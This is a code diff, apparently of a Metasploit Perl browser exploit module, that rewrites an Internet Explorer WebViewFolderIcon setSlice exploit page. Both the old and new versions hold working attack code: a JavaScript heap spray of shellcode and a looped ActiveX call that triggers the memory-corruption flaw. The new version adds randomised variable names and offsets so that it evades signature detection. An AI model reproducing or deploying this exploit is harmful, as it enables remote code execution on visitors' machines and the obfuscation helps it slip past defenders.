| | 140 | my $addr_long = unpack('H*', pack('V', $target->[1])); |
|---|
| | 141 | my $addr_targ = $target->[1]; |
|---|
| | 142 | my $addr_word = substr($addr_long, 0, 4); |
|---|
| | 143 | my $var_buffer = Pex::Text::LowerCaseText(int(rand(30)+8)); |
|---|
| | 144 | my $var_shellcode = Pex::Text::LowerCaseText(int(rand(30)+8)); |
|---|
| | 145 | my $var_unescape = Pex::Text::LowerCaseText(int(rand(30)+8)); |
|---|
| | 146 | my $var_x = Pex::Text::LowerCaseText(int(rand(30)+8)); |
|---|
| | 147 | my $var_i = Pex::Text::LowerCaseText(int(rand(30)+8)); |
|---|
| | 148 | my $var_tic = Pex::Text::LowerCaseText(int(rand(30)+8)); |
|---|
| | 149 | my $var_toc = Pex::Text::LowerCaseText(int(rand(30)+8)); |
|---|
| | 150 | my $diff = int(rand(0xffffff)+4000); |
|---|
| | 151 | my $over = 0x7ffffffe - $diff; |
|---|
| | 152 | |
|---|
| 147 | | CollectGarbage(); |
|---|
| 148 | | |
|---|
| 149 | | var shellcode = unescape("$shellcode"); |
|---|
| 150 | | |
|---|
| 151 | | var b = unescape("%u0c0c"); |
|---|
| 152 | | while (b.length <= 0x400000) b+=b; |
|---|
| 153 | | |
|---|
| 154 | | var x = new Array(); |
|---|
| 155 | | for (var i =0; i< 38; i++) { |
|---|
| 156 | | x[i] = |
|---|
| 157 | | b.substring(0, 0x100000 - shellcode.length) + shellcode + |
|---|
| 158 | | b.substring(0, 0x100000 - shellcode.length) + shellcode + |
|---|
| 159 | | b.substring(0, 0x100000 - shellcode.length) + shellcode + |
|---|
| 160 | | b.substring(0, 0x100000 - shellcode.length) + shellcode; |
|---|
| 161 | | } |
|---|
| 162 | | |
|---|
| 163 | | for (var i = 0; i < 1024; i++) { |
|---|
| 164 | | var tic = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1'); |
|---|
| 165 | | try { tic.setSlice(0x7ffffffe, 0, 0, 0x0c0c0c0c); } catch(e){} |
|---|
| 166 | | var toc = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1'); |
|---|
| 167 | | } |
|---|
| 168 | | |
|---|
| 169 | | }catch(e){window.location='about:blank';} |
|---|
| 170 | | |
|---|
| 171 | | CollectGarbage(); |
|---|
| 172 | | |
|---|
| 173 | | </script> |
|---|
| 174 | | </head> |
|---|
| 175 | | <body> |
|---|
| 176 | | Please wait... |
|---|
| 177 | | </body> |
|---|
| 178 | | </html> |
|---|
| | 160 | var ${var_unescape} = unescape ; |
|---|
| | 161 | var ${var_shellcode} = ${var_unescape}( "${shellcode}" ) ; |
|---|
| | 162 | |
|---|
| | 163 | var ${var_buffer} = ${var_unescape}( "%u${addr_word}" ) ; |
|---|
| | 164 | while ( ${var_buffer}.length <= 0x400000 ) ${var_buffer} += ${var_buffer} ; |
|---|
| | 165 | |
|---|
| | 166 | var ${var_x} = new Array() ; |
|---|
| | 167 | for ( var ${var_i} =0 ; ${var_i} < 30 ; ${var_i}++ ) { |
|---|
| | 168 | ${var_x}[ ${var_i} ] = |
|---|
| | 169 | ${var_buffer}.substring( 0 , 0x100000 - ${var_shellcode}.length ) + ${var_shellcode} + |
|---|
| | 170 | ${var_buffer}.substring( 0 , 0x100000 - ${var_shellcode}.length ) + ${var_shellcode} + |
|---|
| | 171 | ${var_buffer}.substring( 0 , 0x100000 - ${var_shellcode}.length ) + ${var_shellcode} + |
|---|
| | 172 | ${var_buffer}.substring( 0 , 0x100000 - ${var_shellcode}.length ) + ${var_shellcode} ; |
|---|
| | 173 | } |
|---|
| | 174 | |
|---|
| | 175 | for ( var ${var_i} = 0 ; ${var_i} < 1024 ; ${var_i}++ ) { |
|---|
| | 176 | var ${var_tic} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' ) ; |
|---|
| | 177 | |
|---|
| | 178 | try { ${var_tic}.setSlice( $over + $diff, 0 , 0 , ${addr_targ} ) ; } catch( e ) { } |
|---|
| | 179 | |
|---|
| | 180 | var ${var_toc} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' ) ; |
|---|
| | 181 | } |
|---|
| | 182 | |
|---|
| | 183 | } catch( e ) { window.location = 'about:blank' ; } |
|---|
| | 184 | |
|---|
| | 185 | |
|---|
| | 186 | </script > |
|---|
| | 187 | </head > |
|---|
| | 188 | <body > |
|---|
| | 189 | Loaded... |
|---|
| | 190 | </body > |
|---|
| | 191 | </html > |
|---|